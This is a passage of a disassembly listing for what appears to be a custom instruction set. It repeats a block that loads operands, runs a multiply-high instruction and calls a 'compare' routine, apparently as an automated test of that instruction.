b1a0: 0d 43 d2 1c wl16 r16,0x1e9c
b1a4: 0d 60 02 03 wh16 r16,0x3
b1a8: 10 40 02 10 ld32 r16,r16
b1ac: 0d 45 f1 38 wl16 r9,0x2f98
b1b0: 0d 60 01 23 wh16 r9,0x3
b1b4: 10 40 01 29 ld32 r9,r9
b1b8: 00 60 01 10 mulh r8,r16
b1bc: 20 70 03 e2 movepc rret,8
b1c0: 14 30 d3 94 br 10 <compare>,#al
b1c4: 00 10 00 41 add r2,1
b1c8: 0d 41 b5 04 wl16 r8,0xda4
b1cc: 0d 60 01 03 wh16 r8,0x3
b1d0: 10 40 01 08 ld32 r8,r8
b1d4: 0d 43 d6 00 wl16 r16,0x1ea0
b1d8: 0d 60 02 03 wh16 r16,0x3
b1dc: 10 40 02 10 ld32 r16,r16
b1e0: 0d 45 f1 3c wl16 r9,0x2f9c
b1e4: 0d 60 01 23 wh16 r9,0x3
b1e8: 10 40 01 29 ld32 r9,r9
b1ec: 00 60 01 10 mulh r8,r16
b1f0: 20 70 03 e2 movepc rret,8
b1f4: 14 30 d3 87 br 10 <compare>,#al
b1f8: 00 10 00 41 add r2,1
b1fc: 0d 41 b5 08 wl16 r8,0xda8
b200: 0d 60 01 03 wh16 r8,0x3
b204: 10 40 01 08 ld32 r8,r8
b208: 0d 43 d6 04 wl16 r16,0x1ea4
b20c: 0d 60 02 03 wh16 r16,0x3
b210: 10 40 02 10 ld32 r16,r16
b214: 0d 45 f5 20 wl16 r9,0x2fa0
b218: 0d 60 01 23 wh16 r9,0x3
b21c: 10 40 01 29 ld32 r9,r9
b220: 00 60 01 10 mulh r8,r16
b224: 20 70 03 e2 movepc rret,8
b228: 14 30 d3 7a br 10 <compare>,#al
b22c: 00 10 00 41 add r2,1
b230: 0d 41 b5 0c wl16 r8,0xdac
b234: 0d 60 01 03 wh16 r8,0x3
b238: 10 40 01 08 ld32 r8,r8
b23c: 0d 43 d6 08 wl16 r16,0x1ea8
b240: 0d 60 02 03 wh16 r16,0x3
b244: 10 40 02 10 ld32 r16,r16
b248: 0d 45 f5 24 wl16 r9,0x2fa4
b24c: 0d 60 01 23 wh16 r9,0x3
b250: 10 40 01 29 ld32 r9,r9
b254: 00 60 01 10 mulh r8,r16
b258: 20 70 03 e2 movepc rret,8
b25c: 14 30 d3 6d br 10 <compare>,#al
b260: 00 10 00 41 add r2,1
b264: 0d 41 b5 10 wl16 r8,0xdb0
b268: 0d 60 01 03 wh16 r8,0x3
b26c: 10 40 01 08 ld32 r8,r8
b270: 0d 43 d6 0c wl16 r16,0x1eac
b274: 0d 60 02 03 wh16 r16,0x3
b278: 10 40 02 10 ld32 r16,r16
b27c: 0d 45 f5 28 wl16 r9,0x2fa8
b280: 0d 60 01 23 wh16 r9,0x3
b284: 10 40 01 29 ld32 r9,r9
b288: 00 60 01 10 mulh r8,r16
b28c: 20 70 03 e2 movepc rret,8
b290: 14 30 d3 60 br 10 <compare>,#al
b294: 00 10 00 41 add r2,1
b298: 0d 41 b5 14 wl16 r8,0xdb4
b29c: 0d 60 01 03 wh16 r8,0x3
b2a0: 10 40 01 08 ld32 r8,r8
b2a4: 0d 43 d6 10 wl16 r16,0x1eb0
b2a8: 0d 60 02 03 wh16 r16,0x3
b2ac: 10 40 02 10 ld32 r16,r16
b2b0: 0d 45 f5 2c wl16 r9,0x2fac
b2b4: 0d 60 01 23 wh16 r9,0x3
b2b8: 10 40 01 29 ld32 r9,r9
b2bc: 00 60 01 10 mulh r8,r16
b2c0: 20 70 03 e2 movepc rret,8
b2c4: 14 30 d3 53 br 10 <compare>,#al
b2c8: 00 10 00 41 add r2,1
b2cc: 0d 41 b5 18 wl16 r8,0xdb8
b2d0: 0d 60 01 03 wh16 r8,0x3
b2d4: 10 40 01 08 ld32 r8,r8
b2d8: 0d 43 d6 14 wl16 r16,0x1eb4
b2dc: 0d 60 02 03 wh16 r16,0x3
b2e0: 10 40 02 10 ld32 r16,r16
b2e4: 0d 45 f5 30 wl16 r9,0x2fb0
b2e8: 0d 60 01 23 wh16 r9,0x3
b2ec: 10 40 01 29 ld32 r9,r9
b2f0: 00 60 01 10 mulh r8,r16
b2f4: 20 70 03 e2 movepc rret,8
b2f8: 14 30 d3 46 br 10 <compare>,#al
b2fc: 00 10 00 41 add r2,1
b300: 0d 41 b5 1c wl16 r8,0xdbc
b304: 0d 60 01 03 wh16 r8,0x3
b308: 10 40 01 08 ld32 r8,r8
b30c: 0d 43 d6 18 wl16 r16,0x1eb8
b310: 0d 60 02 03 wh16 r16,0x3
b314: 10 40 02 10 ld32 r16,r16
b318: 0d 45 f5 34 wl16 r9,0x2fb4
b31c: 0d 60 01 23 wh16 r9,0x3
b320: 10 40 01 29 ld32 r9,r9
b324: 00 60 01 10 mulh r8,r16
b328: 20 70 03 e2 movepc rret,8
b32c: 14 30 d3 39 br 10 <compare>,#al
b330: 00 10 00 41 add r2,1
b334: 0d 41 b9 00 wl16 r8,0xdc0
b338: 0d 60 01 03 wh16 r8,0x3
b33c: 10 40 01 08 ld32 r8,r8
b340: 0d 43 d6 1c wl16 r16,0x1ebc
b344: 0d 60 02 03 wh16 r16,0x3
b348: 10 40 02 10 ld32 r16,r16
b34c: 0d 45 f5 38 wl16 r9,0x2fb8
b350: 0d 60 01 23 wh16 r9,0x3
b354: 10 40 01 29 ld32 r9,r9
b358: 00 60 01 10 mulh r8,r16
b35c: 20 70 03 e2 movepc rret,8
b360: 14 30 d3 2c br 10 <compare>,#al
b364: 00 10 00 41 add r2,1
b368: 0d 41 b9 04 wl16 r8,0xdc4
b36c: 0d 60 01 03 wh16 r8,0x3
b370: 10 40 01 08 ld32 r8,r8
b374: 0d 43 da 00 wl16 r16,0x1ec0
b378: 0d 60 02 03 wh16 r16,0x3
b37c: 10 40 02 10 ld32 r16,r16
b380: 0d 45 f5 3c wl16 r9,0x2fbc
b384: 0d 60 01 23 wh16 r9,0x3
b388: 10 40 01 29 ld32 r9,r9
b38c: 00 60 01 10 mulh r8,r16
b390: 20 70 03 e2 movepc rret,8
b394: 14 30 d3 1f br 10 <compare>,#al
b398: 00 10 00 41 add r2,1
b39c: 0d 41 b9 08 wl16 r8,0xdc8
b3a0: 0d 60 01 03 wh16 r8,0x3
b3a4: 10 40 01 08 ld32 r8,r8
b3a8: 0d 43 da 04 wl16 r16,0x1ec4
b3ac: 0d 60 02 03 wh16 r16,0x3
b3b0: 10 40 02 10 ld32 r16,r16
b3b4: 0d 45 f9 20 wl16 r9,0x2fc0
b3b8: 0d 60 01 23 wh16 r9,0x3
b3bc: 10 40 01 29 ld32 r9,r9
b3c0: 00 60 01 10 mulh r8,r16
b3c4: 20 70 03 e2 movepc rret,8
b3c8: 14 30 d3 12 br 10 <compare>,#al
b3cc: 00 10 00 41 add r2,1
b3d0: 0d 41 b9 0c wl16 r8,0xdcc
b3d4: 0d 60 01 03 wh16 r8,0x3
b3d8: 10 40 01 08 ld32 r8,r8
b3dc: 0d 43 da 08 wl16 r16,0x1ec8
b3e0: 0d 60 02 03 wh16 r16,0x3
b3e4: 10 40 02 10 ld32 r16,r16
b3e8: 0d 45 f9 24 wl16 r9,0x2fc4
b3ec: 0d 60 01 23 wh16 r9,0x3
b3f0: 10 40 01 29 ld32 r9,r9
b3f4: 00 60 01 10 mulh r8,r16
b3f8: 20 70 03 e2 movepc rret,8
b3fc: 14 30 d3 05 br 10 <compare>,#al
b400: 00 10 00 41 add r2,1
b404: 0d 41 b9 10 wl16 r8,0xdd0
b408: 0d 60 01 03 wh16 r8,0x3
b40c: 10 40 01 08 ld32 r8,r8
b410: 0d 43 da 0c wl16 r16,0x1ecc
b414: 0d 60 02 03 wh16 r16,0x3
b418: 10 40 02 10 ld32 r16,r16
b41c: 0d 45 f9 28 wl16 r9,0x2fc8
b420: 0d 60 01 23 wh16 r9,0x3
b424: 10 40 01 29 ld32 r9,r9
b428: 00 60 01 10 mulh r8,r16
b42c: 20 70 03 e2 movepc rret,8
b430: 14 30 d2 f8 br 10 <compare>,#al
b434: 00 10 00 41 add r2,1
b438: 0d 41 b9 14 wl16 r8,0xdd4
b43c: 0d 60 01 03 wh16 r8,0x3
b440: 10 40 01 08 ld32 r8,r8
b444: 0d 43 da 10 wl16 r16,0x1ed0
b448: 0d 60 02 03 wh16 r16,0x3
b44c: 10 40 02 10 ld32 r16,r16
b450: 0d 45 f9 2c wl16 r9,0x2fcc
b454: 0d 60 01 23 wh16 r9,0x3
b458: 10 40 01 29 ld32 r9,r9
b45c: 00 60 01 10 mulh r8,r16
b460: 20 70 03 e2 movepc rret,8
b464: 14 30 d2 eb br 10 <compare>,#al
b468: 00 10 00 41 add r2,1
b46c: 0d 41 b9 18 wl16 r8,0xdd8
b470: 0d 60 01 03 wh16 r8,0x3
b474: 10 40 01 08 ld32 r8,r8
b478: 0d 43 da 14 wl16 r16,0x1ed4
b47c: 0d 60 02 03 wh16 r16,0x3
b480: 10 40 02 10 ld32 r16,r16
b484: 0d 45 f9 30 wl16 r9,0x2fd0
b488: 0d 60 01 23 wh16 r9,0x3
b48c: 10 40 01 29 ld32 r9,r9
b490: 00 60 01 10 mulh r8,r16
b494: 20 70 03 e2 movepc rret,8
b498: 14 30 d2 de br 10 <compare>,#al
b49c: 00 10 00 41 add r2,1
b4a0: 0d 41 b9 1c wl16 r8,0xddc
b4a4: 0d 60 01 03 wh16 r8,0x3
b4a8: 10 40 01 08 ld32 r8,r8
b4ac: 0d 43 da 18 wl16 r16,0x1ed8
b4b0: 0d 60 02 03 wh16 r16,0x3
b4b4: 10 40 02 10 ld32 r16,r16
b4b8: 0d 45 f9 34 wl16 r9,0x2fd4
b4bc: 0d 60 01 23 wh16 r9,0x3
b4c0: 10 40 01 29 ld32 r9,r9
b4c4: 00 60 01 10 mulh r8,r16
b4c8: 20 70 03 e2 movepc rret,8
b4cc: 14 30 d2 d1 br 10 <compare>,#al
b4d0: 00 10 00 41 add r2,1
b4d4: 0d 41 bd 00 wl16 r8,0xde0
b4d8: 0d 60 01 03 wh16 r8,0x3
b4dc: 10 40 01 08 ld32 r8,r8
b4e0: 0d 43 da 1c wl16 r16,0x1edc
b4e4: 0d 60 02 03 wh16 r16,0x3
b4e8: 10 40 02 10 ld32 r16,r16
b4ec: 0d 45 f9 38 wl16 r9,0x2fd8
b4f0: 0d 60 01 23 wh16 r9,0x3
b4f4: 10 40 01 29 ld32 r9,r9
b4f8: 00 60 01 10 mulh r8,r16
b4fc: 20 70 03 e2 movepc rret,8
b500: 14 30 d2 c4 br 10 <compare>,#al
b504: 00 10 00 41 add r2,1
b508: 0d 41 bd 04 wl16 r8,0xde4
b50c: 0d 60 01 03 wh16 r8,0x3
b510: 10 40 01 08 ld32 r8,r8
b514: 0d 43 de 00 wl16 r16,0x1ee0
b518: 0d 60 02 03 wh16 r16,0x3
b51c: 10 40 02 10 ld32 r16,r16
b520: 0d 45 f9 3c wl16 r9,0x2fdc
b524: 0d 60 01 23 wh16 r9,0x3
b528: 10 40 01 29 ld32 r9,r9
b52c: 00 60 01 10 mulh r8,r16
b530: 20 70 03 e2 movepc rret,8
b534: 14 30 d2 b7 br 10 <compare>,#al
b538: 00 10 00 41 add r2,1
b53c: 0d 41 bd 08 wl16 r8,0xde8
b540: 0d 60 01 03 wh16 r8,0x3
b544: 10 40 01 08 ld32 r8,r8
b548: 0d 43 de 04 wl16 r16,0x1ee4
b54c: 0d 60 02 03 wh16 r16,0x3
b550: 10 40 02 10 ld32 r16,r16
b554: 0d 45 fd 20 wl16 r9,0x2fe0
b558: 0d 60 01 23 wh16 r9,0x3
b55c: 10 40 01 29 ld32 r9,r9
b560: 00 60 01 10 mulh r8,r16
b564: 20 70 03 e2 movepc rret,8
b568: 14 30 d2 aa br 10 <compare>,#al
b56c: 00 10 00 41 add r2,1
b570: 0d 41 bd 0c wl16 r8,0xdec
b574: 0d 60 01 03 wh16 r8,0x3
b578: 10 40 01 08 ld32 r8,r8
b57c: 0d 43 de 08 wl16 r16,0x1ee8
b580: 0d 60 02 03 wh16 r16,0x3
b584: 10 40 02 10 ld32 r16,r16
b588: 0d 45 fd 24 wl16 r9,0x2fe4
b58c: 0d 60 01 23 wh16 r9,0x3
b590: 10 40 01 29 ld32 r9,r9
b594: 00 60 01 10 mulh r8,r16
b598: 20 70 03 e2 movepc rret,8
b59c: 14 30 d2 9d br 10 <compare>,#al
b5a0: 00 10 00 41 add r2,1
b5a4: 0d 41 bd 10 wl16 r8,0xdf0
b5a8: 0d 60 01 03 wh16 r8,0x3
b5ac: 10 40 01 08 ld32 r8,r8
b5b0: 0d 43 de 0c wl16 r16,0x1eec
b5b4: 0d 60 02 03 wh16 r16,0x3
b5b8: 10 40 02 10 ld32 r16,r16
b5bc: 0d 45 fd 28 wl16 r9,0x2fe8
b5c0: 0d 60 01 23 wh16 r9,0x3
b5c4: 10 40 01 29 ld32 r9,r9
b5c8: 00 60 01 10 mulh r8,r16
b5cc: 20 70 03 e2 movepc rret,8
b5d0: 14 30 d2 90 br 10 <compare>,#al
b5d4: 00 10 00 41 add r2,1
b5d8: 0d 41 bd 14 wl16 r8,0xdf4
b5dc: 0d 60 01 03 wh16 r8,0x3
b5e0: 10 40 01 08 ld32 r8,r8
b5e4: 0d 43 de 10 wl16 r16,0x1ef0
b5e8: 0d 60 02 03 wh16 r16,0x3
b5ec: 10 40 02 10 ld32 r16,r16
b5f0: 0d 45 fd 2c wl16 r9,0x2fec
b5f4: 0d 60 01 23 wh16 r9,0x3
b5f8: 10 40 01 29 ld32 r9,r9
b5fc: 00 60 01 10 mulh r8,r16
b600: 20 70 03 e2 movepc rret,8
b604: 14 30 d2 83 br 10 <compare>,#al
b608: 00 10 00 41 add r2,1
b60c: 0d 41 bd 18 wl16 r8,0xdf8
b610: 0d 60 01 03 wh16 r8,0x3
b614: 10 40 01 08 ld32 r8,r8
b618: 0d 43 de 14 wl16 r16,0x1ef4
b61c: 0d 60 02 03 wh16 r16,0x3
b620: 10 40 02 10 ld32 r16,r16
b624: 0d 45 fd 30 wl16 r9,0x2ff0
b628: 0d 60 01 23 wh16 r9,0x3
b62c: 10 40 01 29 ld32 r9,r9
b630: 00 60 01 10 mulh r8,r16
b634: 20 70 03 e2 movepc rret,8
b638: 14 30 d2 76 br 10 <compare>,#al
b63c: 00 10 00 41 add r2,1
b640: 0d 41 bd 1c wl16 r8,0xdfc
b644: 0d 60 01 03 wh16 r8,0x3
b648: 10 40 01 08 ld32 r8,r8
b64c: 0d 43 de 18 wl16 r16,0x1ef8
b650: 0d 60 02 03 wh16 r16,0x3
b654: 10 40 02 10 ld32 r16,r16
b658: 0d 45 fd 34 wl16 r9,0x2ff4
b65c: 0d 60 01 23 wh16 r9,0x3
b660: 10 40 01 29 ld32 r9,r9
b664: 00 60 01 10 mulh r8,r16
b668: 20 70 03 e2 movepc rret,8
b66c: 14 30 d2 69 br 10 <compare>,#al
b670: 00 10 00 41 add r2,1
b674: 0d 41 c1 00 wl16 r8,0xe00
b678: 0d 60 01 03 wh16 r8,0x3
b67c: 10 40 01 08 ld32 r8,r8
b680: 0d 43 de 1c wl16 r16,0x1efc
b684: 0d 60 02 03 wh16 r16,0x3
b688: 10 40 02 10 ld32 r16,r16
b68c: 0d 45 fd 38 wl16 r9,0x2ff8
b690: 0d 60 01 23 wh16 r9,0x3
b694: 10 40 01 29 ld32 r9,r9
b698: 00 60 01 10 mulh r8,r16
b69c: 20 70 03 e2 movepc rret,8
b6a0: 14 30 d2 5c br 10 <compare>,#al
b6a4: 00 10 00 41 add r2,1
b6a8: 0d 41 c1 04 wl16 r8,0xe04
b6ac: 0d 60 01 03 wh16 r8,0x3
b6b0: 10 40 01 08 ld32 r8,r8
b6b4: 0d 43 e2 00 wl16 r16,0x1f00
b6b8: 0d 60 02 03 wh16 r16,0x3
b6bc: 10 40 02 10 ld32 r16,r16
b6c0: 0d 45 fd 3c wl16 r9,0x2ffc
b6c4: 0d 60 01 23 wh16 r9,0x3
b6c8: 10 40 01 29 ld32 r9,r9
b6cc: 00 60 01 10 mulh r8,r16
b6d0: 20 70 03 e2 movepc rret,8
b6d4: 14 30 d2 4f br 10 <compare>,#al
b6d8: 00 10 00 41 add r2,1
b6dc: 0d 41 c1 08 wl16 r8,0xe08
b6e0: 0d 60 01 03 wh16 r8,0x3
b6e4: 10 40 01 08 ld32 r8,r8
b6e8: 0d 43 e2 04 wl16 r16,0x1f04
b6ec: 0d 60 02 03 wh16 r16,0x3
b6f0: 10 40 02 10 ld32 r16,r16
b6f4: 0d 46 01 20 wl16 r9,0x3000
b6f8: 0d 60 01 23 wh16 r9,0x3
b6fc: 10 40 01 29 ld32 r9,r9
b700: 00 60 01 10 mulh r8,r16
b704: 20 70 03 e2 movepc rret,8
b708: 14 30 d2 42 br 10 <compare>,#al
b70c: 00 10 00 41 add r2,1
b710: 0d 41 c1 0c wl16 r8,0xe0c
b714: 0d 60 01 03 wh16 r8,0x3
b718: 10 40 01 08 ld32 r8,r8
b71c: 0d 43 e2 08 wl16 r16,0x1f08
b720: 0d 60 02 03 wh16 r16,0x3
b724: 10 40 02 10 ld32 r16,r16
b728: 0d 46 01 24 wl16 r9,0x3004
b72c: 0d 60 01 23 wh16 r9,0x3
b730: 10 40 01 29 ld32 r9,r9
b734: 00 60 01 10 mulh r8,r16
b738: 20 70 03 e2 movepc rret,8
b73c: 14 30 d2 35 br 10 <compare>,#al
b740: 00 10 00 41 add r2,1
b744: 0d 41 c1 10 wl16 r8,0xe10
b748: 0d 60 01 03 wh16 r8,0x3
b74c: 10 40 01 08 ld32 r8,r8
b750: 0d 43 e2 0c wl16 r16,0x1f0c
b754: 0d 60 02 03 wh16 r16,0x3
b758: 10 40 02 10 ld32 r16,r16
b75c: 0d 46 01 28 wl16 r9,0x3008
b760: 0d 60 01 23 wh16 r9,0x3
b764: 10 40 01 29 ld32 r9,r9
b768: 00 60 01 10 mulh r8,r16
b76c: 20 70 03 e2 movepc rret,8
b770: 14 30 d2 28 br 10 <compare>,#al
b774: 00 10 00 41 add r2,1
b778: 0d 41 c1 14 wl16 r8,0xe14
b77c: 0d 60 01 03 wh16 r8,0x3
b780: 10 40 01 08 ld32 r8,r8
b784: 0d 43 e2 10 wl16 r16,0x1f10
b788: 0d 60 02 03 wh16 r16,0x3
b78c: 10 40 02 10 ld32 r16,r16
b790: 0d 46 01 2c wl16 r9,0x300c
b794: 0d 60 01 23 wh16 r9,0x3
b798: 10 40 01 29 ld32 r9,r9
b79c: 00 60 01 10 mulh r8,r16
b7a0: 20 70 03 e2 movepc rret,8
b7a4: 14 30 d2 1b br 10 <compare>,#al
b7a8: 00 10 00 41 add r2,1
b7ac: 0d 41 c1 18 wl16 r8,0xe18
b7b0: 0d 60 01 03 wh16 r8,0x3
b7b4: 10 40 01 08 ld32 r8,r8
b7b8: 0d 43 e2 14 wl16 r16,0x1f14
b7bc: 0d 60 02 03 wh16 r16,0x3
b7c0: 10 40 02 10 ld32 r16,r16
b7c4: 0d 46 01 30 wl16 r9,0x3010
b7c8: 0d 60 01 23 wh16 r9,0x3
b7cc: 10 40 01 29 ld32 r9,r9
b7d0: 00 60 01 10 mulh r8,r16
b7d4: 20 70 03 e2 movepc rret,8
b7d8: 14 30 d2 0e br 10 <compare>,#al
b7dc: 00 10 00 41 add r2,1
b7e0: 0d 41 c1 1c wl16 r8,0xe1c
b7e4: 0d 60 01 03 wh16 r8,0x3
b7e8: 10 40 01 08 ld32 r8,r8
b7ec: 0d 43 e2 18 wl16 r16,0x1f18
b7f0: 0d 60 02 03 wh16 r16,0x3
b7f4: 10 40 02 10 ld32 r16,r16
b7f8: 0d 46 01 34 wl16 r9,0x3014
b7fc: 0d 60 01 23 wh16 r9,0x3
b800: 10 40 01 29 ld32 r9,r9
b804: 00 60 01 10 mulh r8,r16
b808: 20 70 03 e2 movepc rret,8
b80c: 14 30 d2 01 br 10 <compare>,#al
b810: 00 10 00 41 add r2,1
b814: 0d 41 c5 00 wl16 r8,0xe20
b818: 0d 60 01 03 wh16 r8,0x3
b81c: 10 40 01 08 ld32 r8,r8
b820: 0d 43 e2 1c wl16 r16,0x1f1c
b824: 0d 60 02 03 wh16 r16,0x3
b828: 10 40 02 10 ld32 r16,r16
b82c: 0d 46 01 38 wl16 r9,0x3018
b830: 0d 60 01 23 wh16 r9,0x3
b834: 10 40 01 29 ld32 r9,r9
b838: 00 60 01 10 mulh r8,r16
b83c: 20 70 03 e2 movepc rret,8
b840: 14 30 d1 f4 br 10 <compare>,#al
b844: 00 10 00 41 add r2,1
b848: 0d 41 c5 04 wl16 r8,0xe24
b84c: 0d 60 01 03 wh16 r8,0x3
b850: 10 40 01 08 ld32 r8,r8
b854: 0d 43 e6 00 wl16 r16,0x1f20
b858: 0d 60 02 03 wh16 r16,0x3
b85c: 10 40 02 10 ld32 r16,r16
b860: 0d 46 01 3c wl16 r9,0x301c
b864: 0d 60 01 23 wh16 r9,0x3
b868: 10 40 01 29 ld32 r9,r9
b86c: 00 60 01 10 mulh r8,r16
b870: 20 70 03 e2 movepc rret,8
b874: 14 30 d1 e7 br 10 <compare>,#al
b878: 00 10 00 41 add r2,1
b87c: 0d 41 c5 08 wl16 r8,0xe28
b880: 0d 60 01 03 wh16 r8,0x3
b884: 10 40 01 08 ld32 r8,r8
b888: 0d 43 e6 04 wl16 r16,0x1f24
b88c: 0d 60 02 03 wh16 r16,0x3
b890: 10 40 02 10 ld32 r16,r16
b894: 0d 46 05 20 wl16 r9,0x3020
b898: 0d 60 01 23 wh16 r9,0x3
b89c: 10 40 01 29 ld32 r9,r9
b8a0: 00 60 01 10 mulh r8,r16
b8a4: 20 70 03 e2 movepc rret,8
b8a8: 14 30 d1 da br 10 <compare>,#al
b8ac: 00 10 00 41 add r2,1
b8b0: 0d 41 c5 0c wl16 r8,0xe2c
b8b4: 0d 60 01 03 wh16 r8,0x3
b8b8: 10 40 01 08 ld32 r8,r8
b8bc: 0d 43 e6 08 wl16 r16,0x1f28
b8c0: 0d 60 02 03 wh16 r16,0x3
b8c4: 10 40 02 10 ld32 r16,r16
b8c8: 0d 46 05 24 wl16 r9,0x3024
b8cc: 0d 60 01 23 wh16 r9,0x3
b8d0: 10 40 01 29 ld32 r9,r9
b8d4: 00 60 01 10 mulh r8,r16
b8d8: 20 70 03 e2 movepc rret,8
b8dc: 14 30 d1 cd br 10 <compare>,#al
b8e0: 00 10 00 41 add r2,1
b8e4: 0d 41 c5 10 wl16 r8,0xe30
b8e8: 0d 60 01 03 wh16 r8,0x3
b8ec: 10 40 01 08 ld32 r8,r8
b8f0: 0d 43 e6 0c wl16 r16,0x1f2c
b8f4: 0d 60 02 03 wh16 r16,0x3
b8f8: 10 40 02 10 ld32 r16,r16
b8fc: 0d 46 05 28 wl16 r9,0x3028
b900: 0d 60 01 23 wh16 r9,0x3
b904: 10 40 01 29 ld32 r9,r9
b908: 00 60 01 10 mulh r8,r16
b90c: 20 70 03 e2 movepc rret,8
b910: 14 30 d1 c0 br 10 <compare>,#al
b914: 00 10 00 41 add r2,1
b918: 0d 41 c5 14 wl16 r8,0xe34
b91c: 0d 60 01 03 wh16 r8,0x3
b920: 10 40 01 08 ld32 r8,r8
b924: 0d 43 e6 10 wl16 r16,0x1f30
b928: 0d 60 02 03 wh16 r16,0x3
b92c: 10 40 02 10 ld32 r16,r16
b930: 0d 46 05 2c wl16 r9,0x302c
b934: 0d 60 01 23 wh16 r9,0x3
b938: 10 40 01 29 ld32 r9,r9
b93c: 00 60 01 10 mulh r8,r16
b940: 20 70 03 e2 movepc rret,8
b944: 14 30 d1 b3 br 10 <compare>,#al
b948: 00 10 00 41 add r2,1
b94c: 0d 41 c5 18 wl16 r8,0xe38
b950: 0d 60 01 03 wh16 r8,0x3
b954: 10 40 01 08 ld32 r8,r8
b958: 0d 43 e6 14 wl16 r16,0x1f34
b95c: 0d 60 02 03 wh16 r16,0x3
b960: 10 40 02 10 ld32 r16,r16
b964: 0d 46 05 30 wl16 r9,0x3030
b968: 0d 60 01 23 wh16 r9,0x3
b96c: 10 40 01 29 ld32 r9,r9
b970: 00 60 01 10 mulh r8,r16
b974: 20 70 03 e2 movepc rret,8
b978: 14 30 d1 a6 br 10 <compare>,#al
b97c: 00 10 00 41 add r2,1
b980: 0d 41 c5 1c wl16 r8,0xe3c
b984: 0d 60 01 03 wh16 r8,0x3
b988: 10 40 01 08 ld32 r8,r8
b98c: 0d 43 e6 18 wl16 r16,0x1f38
b990: 0d 60 02 03 wh16 r16,0x3
b994: 10 40 02 10 ld32 r16,r16
b998: 0d 46 05 34 wl16 r9,0x3034
b99c: 0d 60 01 23 wh16 r9,0x3
b9a0: 10 40 01 29 ld32 r9,r9
b9a4: 00 60 01 10 mulh r8,r16
b9a8: 20 70 03 e2 movepc rret,8
b9ac: 14 30 d1 99 br 10 <compare>,#al
b9b0: 00 10 00 41 add r2,1
b9b4: 0d 41 c9 00 wl16 r8,0xe40
b9b8: 0d 60 01 03 wh16 r8,0x3
b9bc: 10 40 01 08 ld32 r8,r8
b9c0: 0d 43 e6 1c wl16 r16,0x1f3c
b9c4: 0d 60 02 03 wh16 r16,0x3
b9c8: 10 40 02 10 ld32 r16,r16
b9cc: 0d 46 05 38 wl16 r9,0x3038
b9d0: 0d 60 01 23 wh16 r9,0x3
b9d4: 10 40 01 29 ld32 r9,r9
b9d8: 00 60 01 10 mulh r8,r16
b9dc: 20 70 03 e2 movepc rret,8
b9e0: 14 30 d1 8c br 10 <compare>,#al
b9e4: 00 10 00 41 add r2,1
b9e8: 0d 41 c9 04 wl16 r8,0xe44
b9ec: 0d 60 01 03 wh16 r8,0x3
b9f0: 10 40 01 08 ld32 r8,r8
b9f4: 0d 43 ea 00 wl16 r16,0x1f40
b9f8: 0d 60 02 03 wh16 r16,0x3
b9fc: 10 40 02 10 ld32 r16,r16
ba00: 0d 46 05 3c wl16 r9,0x303c
ba04: 0d 60 01 23 wh16 r9,0x3
ba08: 10 40 01 29 ld32 r9,r9
ba0c: 00 60 01 10 mulh r8,r16
ba10: 20 70 03 e2 movepc rret,8
ba14: 14 30 d1 7f br 10 <compare>,#al
ba18: 00 10 00 41 add r2,1
ba1c: 0d 41 c9 08 wl16 r8,0xe48
ba20: 0d 60 01 03 wh16 r8,0x3
ba24: 10 40 01 08 ld32 r8,r8
ba28: 0d 43 ea 04 wl16 r16,0x1f44
ba2c: 0d 60 02 03 wh16 r16,0x3
ba30: 10 40 02 10 ld32 r16,r16
ba34: 0d 46 09 20 wl16 r9,0x3040
ba38: 0d 60 01 23 wh16 r9,0x3
ba3c: 10 40 01 29 ld32 r9,r9
ba40: 00 60 01 10 mulh r8,r16
ba44: 20 70 03 e2 movepc rret,8
ba48: 14 30 d1 72 br 10 <compare>,#al
ba4c: 00 10 00 41 add r2,1
ba50: 0d 41 c9 0c wl16 r8,0xe4c
ba54: 0d 60 01 03 wh16 r8,0x3
ba58: 10 40 01 08 ld32 r8,r8
ba5c: 0d 43 ea 08 wl16 r16,0x1f48
ba60: 0d 60 02 03 wh16 r16,0x3
ba64: 10 40 02 10 ld32 r16,r16
ba68: 0d 46 09 24 wl16 r9,0x3044
ba6c: 0d 60 01 23 wh16 r9,0x3
ba70: 10 40 01 29 ld32 r9,r9
ba74: 00 60 01 10 mulh r8,r16
ba78: 20 70 03 e2 movepc rret,8
ba7c: 14 30 d1 65 br 10 <compare>,#al
ba80: 00 10 00 41 add r2,1
ba84: 0d 41 c9 10 wl16 r8,0xe50
ba88: 0d 60 01 03 wh16 r8,0x3
ba8c: 10 40 01 08 ld32 r8,r8
ba90: 0d 43 ea 0c wl16 r16,0x1f4c
ba94: 0d 60 02 03 wh16 r16,0x3
ba98: 10 40 02 10 ld32 r16,r16
ba9c: 0d 46 09 28 wl16 r9,0x3048
baa0: 0d 60 01 23 wh16 r9,0x3
baa4: 10 40 01 29 ld32 r9,r9
baa8: 00 60 01 10 mulh r8,r16
baac: 20 70 03 e2 movepc rret,8
bab0: 14 30 d1 58 br 10 <compare>,#al
bab4: 00 10 00 41 add r2,1
bab8: 0d 41 c9 14 wl16 r8,0xe54
babc: 0d 60 01 03 wh16 r8,0x3
bac0: 10 40 01 08 ld32 r8,r8
bac4: 0d 43 ea 10 wl16 r16,0x1f50
bac8: 0d 60 02 03 wh16 r16,0x3
bacc: 10 40 02 10 ld32 r16,r16
bad0: 0d 46 09 2c wl16 r9,0x304c
bad4: 0d 60 01 23 wh16 r9,0x3
bad8: 10 40 01 29 ld32 r9,r9
badc: 00 60 01 10 mulh r8,r16
bae0: 20 70 03 e2 movepc rret,8
bae4: 14 30 d1 4b br 10 <compare>,#al
bae8: 00 10 00 41 add r2,1
baec: 0d 41 c9 18 wl16 r8,0xe58
baf0: 0d 60 01 03 wh16 r8,0x3
baf4: 10 40 01 08 ld32 r8,r8
baf8: 0d 43 ea 14 wl16 r16,0x1f54
bafc: 0d 60 02 03 wh16 r16,0x3
bb00: 10 40 02 10 ld32 r16,r16
bb04: 0d 46 09 30 wl16 r9,0x3050
bb08: 0d 60 01 23 wh16 r9,0x3
bb0c: 10 40 01 29 ld32 r9,r9
bb10: 00 60 01 10 mulh r8,r16
bb14: 20 70 03 e2 movepc rret,8
bb18: 14 30 d1 3e br 10 <compare>,#al
bb1c: 00 10 00 41 add r2,1
bb20: 0d 41 c9 1c wl16 r8,0xe5c
bb24: 0d 60 01 03 wh16 r8,0x3
bb28: 10 40 01 08 ld32 r8,r8
bb2c: 0d 43 ea 18 wl16 r16,0x1f58
bb30: 0d 60 02 03 wh16 r16,0x3
bb34: 10 40 02 10 ld32 r16,r16
bb38: 0d 46 09 34 wl16 r9,0x3054
bb3c: 0d 60 01 23 wh16 r9,0x3
